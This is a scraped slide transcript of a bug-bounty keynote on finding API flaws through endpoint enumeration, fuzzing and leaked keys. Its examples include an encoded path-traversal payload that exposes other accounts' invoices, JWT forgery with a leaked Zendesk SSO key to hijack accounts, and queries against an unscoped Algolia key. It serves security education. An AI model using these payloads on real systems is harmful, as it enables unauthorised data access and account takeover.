Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Frans Rosén Keynote at BSides Ahmedabad

1,660 views

Published on

Frans Rosén talk on "A methodology using fuzzing and info disclosure"

Published in: Engineering

Frans Rosén Keynote at BSides Ahmedabad

  1. 1. FRANS ROSÉN A methodology using fuzzing and info disclosure
  2. 2. FRANS ROSÉN Security Advisor @detectify CTO @centra HackerOne #5 @ /leaderboard/all-time Blogs at labs.detectify.com @fransrosen
  3. 3. FRANS ROSÉN Rundown • Imaginary app structure and methodology on breaking it
  4. 4. FRANS ROSÉN Rundown • Imaginary app structure and methodology on breaking it • Real-life vulnerabilities found
 using these techniques
  5. 5. FRANS ROSÉN Rundown • Imaginary app structure and methodology on breaking it • Real-life vulnerabilities found
 using these techniques • Many ways to do this, this is just one example!
  6. 6. FRANS ROSÉN Structure of our imaginary app
  7. 7. FRANS ROSÉN Client based micro services business.example.com SPA + a lot of JS
  8. 8. FRANS ROSÉN Client based micro services invoice.example.com business.example.com conversation.example.com api.example.com CORS-requests to different apps SPA + a lot of JS
  9. 9. FRANS ROSÉN Client based micro services business.example.com /api/v1/users /api/v1/users/123 … /api/v3/invoices /api/v3/invoices/123 … /api/v2/messages /api/v2/messages/123 … CORS-requests to different apps: SPA + a lot of JS invoice.example.com conversation.example.com api.example.com
  10. 10. FRANS ROSÉN Ways forward 1.Locate all APIs/micro-services used
  11. 11. FRANS ROSÉN Ways forward 1.Locate all APIs/micro-services used 2.Extract all API-endpoints we can find
  12. 12. FRANS ROSÉN API-endpoints per microservice • invoice.example.com
  13. 13. FRANS ROSÉN API-endpoints per microservice • invoice.example.com /api/v3/invoices /api/v3/invoices/1234 /api/v3/accounts /api/v3/accounts/1234 Found in JS:
  14. 14. FRANS ROSÉN API-endpoints per microservice • invoice.example.com Found in JS: /invoices* /accounts* /api /api/v3 /api/v3/invoices* /api/v3/accounts* … Save to path-lists: /api/v3/invoices /api/v3/invoices/1234 /api/v3/accounts /api/v3/accounts/1234
  15. 15. FRANS ROSÉN • invoice.example.com Found in JS: /invoices* /accounts* /api /api/v3 /api/v3/invoices* /api/v3/accounts* … Save to path-lists: /api/v3/invoices /api/v3/invoices/1234 /api/v3/accounts /api/v3/accounts/1234 The * tells us it supports direct requests or additional paths for IDs or similar: /invoices/123
  16. 16. FRANS ROSÉN API-endpoints per microservice • conversation.example.com /api/v2/online /api/v2/conversations /api/v2/websocket Found in JS:
  17. 17. FRANS ROSÉN API-endpoints per microservice • conversation.example.com /api/v2/online /api/v2/conversations /api/v2/websocket Found in JS: /online /conversations* /websocket /api/v2 /api/v2/conversations* … Save to path-lists:
  18. 18. FRANS ROSÉN Continue to curate lists Find more endpoints: • Desktop client • Web-archive • PHP/Java/Golang-SDKs • npm/composer/yarn • Documentation
  19. 19. FRANS ROSÉN Now we have this • List of all available endpoints: /conversations* /invoices* /users* …
  20. 20. FRANS ROSÉN Now we have this • List of all available endpoints: • Also separate prefixes: /api /api/v3 /api/v2 /api/v1 … /conversations* /invoices* /users* …
  21. 21. FRANS ROSÉN Now we have this • List of all available endpoints: • Also separate prefixes: /api /api/v3 /api/v2 /api/v1 … /conversations* /invoices* /users* … • And all subdomains used: invoice.example.com api.example.com business.example.com …
  22. 22. FRANS ROSÉN Now, combine it all: • Test everything on everything
 subdomain-list * path-prefix-list * path-suffix-list • Add additional standard fuzz to suffix-list test " '
 # …
  23. 23. FRANS ROSÉN What we might find • New or old endpoints not in use
 Might leak more data than the current one

  24. 24. FRANS ROSÉN What we might find • New or old endpoints not in use
 Might leak more data than the current one
 
 Example of this happening IRL!
  25. 25. FRANS ROSÉN { "boards": [ { "id": 123, "user": 124, "username": "test" … } ] } API currently in use, v2 /api/v2/boards/123
  26. 26. FRANS ROSÉN /api/v4/boards/123 { "includes": {"user": false}, "boards": [ { "id": 123, "user": 124, "username": "test" … } ] v4 was a JSON-API not being used
  27. 27. FRANS ROSÉN /api/v4/boards/123 { "includes": {"user": false}, "boards": [ { "id": 123, "user": 124, "username": "test" … } ] Tells us what to include
  28. 28. FRANS ROSÉN /api/v4/boards/123? include=user { "includes": {"user": true}, "boards": [ { "attributes": { "user": { "email": "secret@x.com", "phone": "004324235342" … } "New version of JSON-API for message boards leaked emails + phone numbers for all users"
  29. 29. FRANS ROSÉN What we might find • New or old endpoints not in use
 Might leak more data than the current one • That the micro-services might connect server-side:
 SSRF, path-traversal, bypass query-strings used…

  30. 30. FRANS ROSÉN What we might find • New or old endpoints not in use
 Might leak more data than the current one • That the micro-services might connect server-side:
 SSRF, path-traversal, bypass query-strings used…
 
 Example of this happening IRL!
  31. 31. FRANS ROSÉN Regular API-endpoint to fetch invoices /api/v3/invoices/123
  32. 32. FRANS ROSÉN Regular API-endpoint to fetch invoices /api/v3/invoices/123 { "invoice": { "url": "/api/v3/invoices/ 123?token=xyz&expire=123 } }
  33. 33. FRANS ROSÉN Different ID than my own invoices /api/v3/invoices/124 { "error": "access denied" }
  34. 34. FRANS ROSÉN Fuzzing, double quote: /api/v3/invoices/" { "error": "Bad URI: /api/v1/ invoices/"" }
  35. 35. FRANS ROSÉN Sent to v3, error with v1? /api/v3/invoices/" { "error": "Bad URI: /api/v1/ invoices/"" }
  36. 36. FRANS ROSÉN Possible explanation Endpoint at /api/v3/invoices/{id} makes an internal call to a different service: route('/api/v3/invoices/{id}', () => { return api.call( `http://internal-api/api/v1/invoices/${id}? token=${userToken}` ) })
  37. 37. FRANS ROSÉN Possible explanation Endpoint at /api/v3/invoices/{id} makes an internal call to a different service: route('/api/v3/invoices/{id}', () => { return api.call( `http://internal-api/api/v1/invoices/${id}? token=${userToken}` ) })
  38. 38. FRANS ROSÉN Send valid accessible ID, fuzz query-params /api/v3/invoices/123?FUZZ=x& /api/v3/invoices/123%3fFUZZ%3dx%26
  39. 39. FRANS ROSÉN Send valid accessible ID, fuzz query-params /api/v3/invoices/123?FUZZ=x& /api/v3/invoices/123%3fFUZZ%3dx%26 Theory: server-side call: http://internal-api/api/v1/invoices/ 123?token=x&token=xxx
  40. 40. FRANS ROSÉN Send valid accessible ID, fuzz query-params { "error": "access denied" } /api/v3/invoices/123?FUZZ=x& /api/v3/invoices/123%3fFUZZ%3dx%26 Theory: server-side call: http://internal-api/api/v1/invoices/ 123?token=x&token=xxx
  41. 41. FRANS ROSÉN /api/v3/invoices/123%3ftoken%3dx%26 http://internal-api/api/v1/invoices/ 123?token=x&token=xxx { "error": "access denied" } We now know that token is being used! Theory: server-side call:
  42. 42. FRANS ROSÉN Path-traversal, reach outside of invoices/ /api/v3/invoices/%2e%2e%2fFUZZ
  43. 43. FRANS ROSÉN Path-traversal, reach outside of invoices/ /api/v3/invoices/%2e%2e%2fFUZZ We know token is used in query, move it to fragment: /api/v3/invoices/%2e%2e%2fFUZZ%23 internal-api/api/v1/invoices/../FUZZ#
  44. 44. FRANS ROSÉN Traversing into accounts/ without the token query parameter /api/v3/invoices/%2e%2e%2faccounts%23
  45. 45. FRANS ROSÉN Traversing into accounts/ without the token query parameter /api/v3/invoices/%2e%2e%2faccounts%23 { "accounts": [ {"account": 123, "name": "Other Business", "email": "secret@x.com", "invoices": [ {"id": 123, "amount": 1100.00 …} {"id": 123, "amount": 1100.00 …} … ]
  46. 46. FRANS ROSÉN "Path-traversal getting access to all invoice accounts" /api/v3/invoices/%2e%2e%2faccounts%23 { "accounts": [ {"account": 123, "name": "Other Business", "email": "secret@x.com", "invoices": [ {"id": 123, "amount": 1100.00 …} {"id": 123, "amount": 1100.00 …} … ] We can access all accounts and all their invoices!
  47. 47. FRANS ROSÉN "Path-traversal getting access to all invoice accounts" { "accounts": [ {"account": 123, "name": "Other Business", "email": "secret@x.com", "invoices": [ {"id": 123, "amount": 1100.00 …} {"id": 123, "amount": 1100.00 …} … ] http://internal-api /api/v1/invoices/../accounts#token=xxx
  48. 48. FRANS ROSÉN Ways forward 1.Locate all APIs/micro-services used 2.Extract all API-endpoints we can find 3.Look at other strings in JS-files
  49. 49. FRANS ROSÉN What we might find • Keys or tokens expected to be secrets
 Third party apps with unclear docs if tokens should be secrets. 

  50. 50. FRANS ROSÉN What we might find • Keys or tokens expected to be secrets
 Third party apps with unclear docs if tokens should be secrets.
 
 Example of this happening IRL!

  51. 51. FRANS ROSÉN Zendesk SSO-key
  52. 52. FRANS ROSÉN Zendesk SSO-key zdkey: "fafc5aef56caefa56fcea65" zdaccessurl: "https://example.zendesk.com /access/jwt?"
  53. 53. FRANS ROSÉN Zendesk SSO-key • Not an API-key, used for JWT-signing for simple SSO
  54. 54. FRANS ROSÉN Zendesk SSO-key • This JSON should be signed with the SSO-key: { "iat": 123, "jti": "uuid", "name" "x", "email": "x@x.com", "external_id": "UUID" }
  55. 55. FRANS ROSÉN Zendesk SSO-key • This JSON should be signed with the SSO-key: { "iat": 123, "jti": "uuid", "name" "x", "email": "x@x.com", "external_id": "UUID" } unix timestamp random unique ID
  56. 56. FRANS ROSÉN Zendesk SSO-key • This JSON should be signed with the SSO-key: { "iat": 123, "jti": "uuid", "name" "x", "email": "x@x.com", "external_id": "UUID" } unix timestamp random unique ID name for user, will be updated email for user, will be updated
  57. 57. FRANS ROSÉN Zendesk SSO-key • This JSON should be signed with the SSO-key: { "iat": 123, "jti": "uuid", "name" "x", "email": "x@x.com", "external_id": "UUID" } unix timestamp random unique ID name for user, will be updated email for user, will be updated UserID to hijack account
  58. 58. FRANS ROSÉN Zendesk SSO-key • Send JWT for UserID you want to hijack: https://example.zendesk.com/access/jwt? eYAAA.eYBBB.XXX
  59. 59. FRANS ROSÉN Zendesk SSO-key • Send JWT for UserID you want to hijack: https://example.zendesk.com/access/jwt? eYAAA.eYBBB.XXX • Zendesk will reply with a session as the UserID: https://example.zendesk.com/hc/en-us? flash_digest=0cbfae0bec0bfea08cbfec0
  60. 60. FRANS ROSÉN "Account hijack on support panel due to publicly disclosed Zendesk SSO-key" • Send JWT for UserID you want to hijack: https://example.zendesk.com/access/jwt? eYAAA.eYBBB.XXX • Zendesk will reply with a session as the UserID: https://example.zendesk.com/hc/en-us? flash_digest=0cbfae0bec0bfea08cbfec0
  61. 61. FRANS ROSÉN What we might find • Keys or tokens expected to be secrets
 Third party apps with unclear docs if tokens should be secrets.
 
 

  62. 62. FRANS ROSÉN What we might find • Keys or tokens expected to be secrets
 Third party apps with unclear docs if tokens should be secrets.
 
 Another example of this happening IRL!

  63. 63. FRANS ROSÉN Algolia API-key Intended to be public a = algolia('AFBKDE54', '7ace8b8c7fbea78caebcf78ecbfaebca7 8f'); idx = a.index('userdb');
  64. 64. FRANS ROSÉN a = algolia('AFBKDE54', '7ace8b8c7fbea78caebcf78ecbfaebca7 8f'); idx = a.index('publicdb'); App-ID Public API-key Algolia API-key Intended to be public Index name
  65. 65. FRANS ROSÉN POST /1/indexes/publicdb/query?x- algolia-application-id=AppID&x- algolia-api-key=PublicApiKey HTTP/1.1 Host: AppId-dsn.algolia.net {"params":"query=*&hitsPerPage=1"} Algolia API call
  66. 66. FRANS ROSÉN HTTP/1.1 200 OK {"result": [ {"id": 123, "user": "x"}, … ]} POST /1/indexes/publicdb/query
  67. 67. FRANS ROSÉN POST /1/indexes/userdb/query?x- algolia-api-key=PublicApiKey&… {"params":"query=*&hitsPerPage=1"} Try another index + Scoped API-key
  68. 68. FRANS ROSÉN POST /1/indexes/userdb/query?x- algolia-api-key=PublicApiKey&… {"message":"Index not allowed with this API key","status":403} Try another index + Scoped API-key
  69. 69. FRANS ROSÉN POST /1/indexes/userdb/query?x- algolia-api- key=AnotherPublicApiKey&… {"params":"query=*&hitsPerPage=1"} Unscoped API-key
  70. 70. FRANS ROSÉN HTTP/1.1 200 OK {"result": [ {"id": 123, "user": "x", "email": "secret@x.com", "phone": "003234234.."}, … ]} Another index with sensitive data
  71. 71. FRANS ROSÉN HTTP/1.1 200 OK {"result": [ {"id": 123, "user": "x", "email": "secret@x.com", "phone": "003234234.."}, … ]} Another index with sensitive data
  72. 72. FRANS ROSÉN "Emails + phone for all users disclosed due to sensitive data in public AlgoliaDB" HTTP/1.1 200 OK {"result": [ {"id": 123, "user": "x", "email": "secret@x.com", "phone": "003234234.."}, … ]}
  73. 73. FRANS ROSÉN What we might find • Keys or tokens expected to be secrets
 Third party apps with unclear docs if tokens should be secrets. • Secret ENV variables dumped in CI-minification
 If any minifications or 
 
 Example of this happening IRL!

  74. 74. FRANS ROSÉN What we might find
  75. 75. FRANS ROSÉN What we might find
  76. 76. FRANS ROSÉN What we might find
  77. 77. FRANS ROSÉN
  78. 78. FRANS ROSÉN Ways forward 1.Locate all APIs/micro-services used 2.Extract all API-endpoints we can find 3.Look at other strings in JS-files 4.Create wordlists
  79. 79. FRANS ROSÉN Wordlists! • For every program:
  80. 80. FRANS ROSÉN Wordlists! • For every program: • Build / combine
  81. 81. FRANS ROSÉN Wordlists! • For every program: • Build / combine
  82. 82. FRANS ROSÉN Wordlists! • For every program: • Build / combine
  83. 83. FRANS ROSÉN Wordlists! • For every program: • Build / combine • Apply context!
  84. 84. FRANS ROSÉN Wordlists! • For every program: • Build / combine • Apply context! /api/v1/payment /api/v1/payment-methods /api/v1/shipping
  85. 85. FRANS ROSÉN Wordlists! • For every program: • Build / combine • Apply context! /api/v1/payment /api/v1/payment-methods /api/v1/shipping /api/v1/shipping-methods Also add this
  86. 86. FRANS ROSÉN Ways forward 1.Locate all APIs/micro-services used 2.Extract all API-endpoints we can find 3.Look at other strings in JS-files 4.Create wordlists 5.Fuzz, fuzz, fuzz
  87. 87. FRANS ROSÉN Fuzz with / without • All HTTP-methods POST PATCH DELETE PUT… • IDs or not /users/1 vs /users • / in the end /payments/ vs /payments • File extension users.json vs users
  88. 88. FRANS ROSÉN Fuzz combination • Again, combine paths + endpoints on subdomains • Skip paths, try all methods, add regular fuzz characters: " ' & # .. ö % ? NULL
  89. 89. FRANS ROSÉN • Curate your own context specific wordlists Takeaways
  90. 90. FRANS ROSÉN • Curate your own context specific wordlists • Combine with regular fuzzing Takeaways
  91. 91. FRANS ROSÉN • Curate your own context specific wordlists • Combine with regular fuzzing • Understand and learn what is being disclosed
 and how to abuse it. Takeaways
  92. 92. FRANS ROSÉN Takeaways That’s it, thank you!
 Any questions? • Curate your own context specific wordlists • Combine with regular fuzzing • Understand and learn what is being disclosed
 and how to abuse it.

×